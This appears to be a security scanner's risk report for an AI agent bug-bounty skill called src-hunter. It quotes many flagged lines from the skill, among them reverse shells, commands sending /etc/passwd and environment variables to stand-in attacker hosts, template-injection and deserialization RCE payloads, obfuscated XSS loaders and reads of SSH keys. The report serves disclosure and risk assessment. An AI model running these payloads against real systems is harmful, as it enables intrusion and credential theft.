src-hunter
32 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By iradoweck/antigravity-awesome-skills (GitHub) · security · 30 stars · scanned at commit 2984de1
Bug-bounty/SRC vulnerability-hunting workflow: five-phase methodology (intake, recon, enumeration, hunt, report) with attack playbooks for SQLi, XSS, RCE, SSRF, IDOR, CSRF, path traversal, and file upload.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: target$path, target, attacker.cc, 169.254.169.254, exchange.com, sharepoint.com
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 829 places.
- skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 477
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 483
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path - skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md, line 491
curl -s -o /dev/null -w "%{http_code} $path\n" http://target$path
Show 17 more
- skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md, line 246
curl -s http://target/ | grep -iE "(seeyon|tongda|weaver|yongyou|kingdee|landray|jeecg|ruoyi|nacos|druid)" - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 100
curl -X POST https://target/pay/notify \ - skills/pentest-tools/src-hunter/references/industry/banking-finance.md, line 106
curl -X POST https://target/pay/notify -d "out_trade_no=ORDER001&trade_status=SUCCESS" - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 173
curl https://attacker.cc/?d=`whoami` - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 174
curl -X POST -d "$(cat /etc/passwd | base64)" https://attacker.cc/ - skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 245
AWS-IMDSv2 curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 18
curl -k https://exchange.com/owa/auth/x.js - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 67
curl -k "https://exchange.com/autodiscover/autodiscover.json?@foo.com/mapi/nspi?&Email=autodiscover/autodiscover.json%3f@foo.com" - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 110
curl -k https://exchange.com/owa/auth/logon.aspx - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 118
curl -k -u user:pass https://exchange.com/autodiscover/autodiscover.xml - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 134
curl -k https://exchange.com/autodiscover/autodiscover.xml - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange攻击.md, line 182
curl -k https://exchange.com/ews/Exchange.asmx -H "X-ClientApplication: Test" - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 18
curl -k https://sharepoint.com/_api/web/webs - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 26
curl -k https://sharepoint.com/_api/web/siteusers - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 34
curl -k https://sharepoint.com/_api/web/lists - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 42
curl -k "https://sharepoint.com/_api/search/query?querytext='password'" - skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint攻击.md, line 78
curl -k -u user:password "https://sharepoint.com/_api/web/lists/getbytitle('Documents')/items"
and 809 more places
Contains code that is hidden or hard to read
The author does not mention this.
Found in 15 places.
- skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md, line 157
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh # base64 嵌套 # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 127
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 429
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
Show 12 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 955
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1307
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1311
- `var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){new Ima - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1441
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK - skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss跨站脚本.md, line 1445
- `eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHMpOw - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 225
| 命令字过滤 | base64：`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | <!-- security-allowlist: SEC008 --> - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2257
; echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2435
; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008 - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 135
eval(atob('YWxlcnQoMSk=')) - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 877
<img src=x onerror="eval(atob('YWxlcnQoMSk='))"> - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1079
<script>var _0xa=["\x6b\x65\x79\x64\x6f\x77\x6e","\x61\x64\x64\x45\x76\x65\x6e\x74\x4c\x69\x73\x74\x65\x6e\x65\x72"];document[_0xa[1]](_0xa[0],function(_0xb){ne - skills/pentest-tools/src-hunter/references/playbooks/xss.md, line 1156
<script>eval(atob("dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly9hdHRhY2tlci5jb206MzAwMC9ob29rLmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkK
Downloads and installs other software
The author does not mention this.
Found in 23 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 503
npm install -g graphql-cli - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 507
pip install inql - skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 511
npm install -g graphql-cop
Show 17 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 477
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 719
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 725
- `"curl attacker.com/shell.sh|bash"` — 要执行的系统命令（反弹Shell常用） _value_ <!-- security-allowlist: curl-pipe-bash --> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 102
npx socket info lodash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 117
require('child_process').exec('curl evil.com/c | sh') # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 360
pip install target-corp-utils --index-url https://pypi.org/simple/ -v 2>&1 | grep "Downloading" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 380
pip install target-internal-lib # pip没有scope概念 - skills/pentest-tools/src-hunter/references/payloader/by-category/web/框架漏洞.md, line 1133
pip install idna - skills/pentest-tools/src-hunter/references/payloader/tools/内网渗透.md, line 860
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 653
npm install -g graphql-cli - skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 657
pip install inql - skills/pentest-tools/src-hunter/references/playbooks/api-rest.md, line 661
npm install -g graphql-cop - skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 1012
os.system("curl http://attacker.com/m.sh | bash") # 实际行为 # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 1332
pip install idna - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2460
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 2621
java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4301
npx socket info lodash
and 3 more places
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 104 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/api安全.md, line 1084
{"alg":"HS256","typ":"JWT","kid":"|/bin/bash -c id"} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 150
<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 293
?file=../../../var/log/apache2/access.log&c=bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
Show 17 more
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 757
POST: <?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi文件包含.md, line 868
?file=data://text/plain,<?php system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\""); ?> - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 415
; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 417
; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subpro - skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce远程代码执行.md, line 720
java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}" - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 59
{{config.__class__.__init__.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"').read()}} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 170
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 174
- ` ex="freemarker.template.utility.Execute"?new()>${ex("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")}` — 参数与载荷内容 _va - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 401
${T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci9QMDBBIA==}|{base64,-d}|{bash,-i}")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 523
{system("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 619
${self.module.cache.util.os.popen("id").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 620
${self.module.cache.util.os.popen("whoami").read()} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 621
${self.module.cache.util.os.system("id")} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 624
- `os.popen()` — 打开管道执行命令 _function_ - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 633
${subprocess.check_output(["id","-a"])} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 634
${subprocess.Popen(["id"],stdout=subprocess.PIPE).communicate()[0]} - skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti模板注入.md, line 645
${self.module.cache.util.os.popen("bash -c \"bash -i >& /dev/tcp/attacker/4444 0>&1\"").read()}
and 84 more places
Reads your saved credentials, such as SSH keys or .env files
This is disclosed by the author in the skill's SKILL.md or README.
Found in 8 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/供应链攻击.md, line 261
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))" - skills/pentest-tools/src-hunter/references/payloader/tools/权限提升.md, line 88
cat ~/.ssh/authorized_keys - skills/pentest-tools/src-hunter/references/playbooks/file-upload.md, line 545
"../../../root/.ssh/id_rsa" "../../../root/.bash_history"
Show 5 more
- skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md, line 909
with open("/root/.ssh/id_rsa", "r") as f: - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 137
/root/.ssh/authorized_keys /root/.ssh/id_rsa - skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md, line 246
读到 /home/web/.ssh/id_rsa → SSH 私钥（不要使用） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 291
→ 横向（看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json） - skills/pentest-tools/src-hunter/references/playbooks/rce.md, line 4426
python3 -c "import os,urllib.request;urllib.request.urlopen(urllib.request.Request('https://evil.com',data=str(dict(os.environ)).encode()))"
Changes files outside its own folder
The author does not mention this.
Found in 2 places.
- skills/pentest-tools/src-hunter/references/payloader/by-category/web/缓存与cdn安全.md, line 446
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts - skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md, line 1961
echo "${REAL_IP} target.com" | sudo tee -a /etc/hosts
Safer alternatives
Low-risk skills in the same category (security) that look related. Check that one does what you need.
- 94 Low riskwebapp-exploit-hunterOrizon-eu/claude-code-pentest · 32 stars
- 80 Low risksecurity-bounty-huntertensology/decisionsai · 17 stars
- 87 Low riskexfil-hunterkoda-ai-studio/agent-bom · 37 stars
Other copies in this repository
iradoweck/antigravity-awesome-skills has 2 more folders with a skill named src-hunter. This page shows the lowest-scoring copy.
- plugins/agentic-awesome-skills/skills/pentest-tools/src-hunter 32/100 · High risk
- plugins/agentic-awesome-skills-claude/skills/pentest-tools/src-hunter 32/100 · High risk
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'src-hunter' ] || [ -L ~/.agents/skills/'src-hunter' ]; then echo 'A skill folder named src-hunter already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/iradoweck/antigravity-awesome-skills' "$d" && git -C "$d" checkout --quiet '2984de11956e413008c6f98121cd141c499e47a3' -- 'skills/pentest-tools/src-hunter' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/pentest-tools/src-hunter' ~/.agents/skills/'src-hunter' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'src-hunter' ~/.claude/skills/'src-hunter' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for iradoweck/antigravity-awesome-skills shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/iradoweck/antigravity-awesome-skills/)
Score history
| Date | Version | Score |
|---|---|---|
| 2026-11-08 | 2984de1 | 32 |
| 2026-11-06 | 2984de1 | 32 |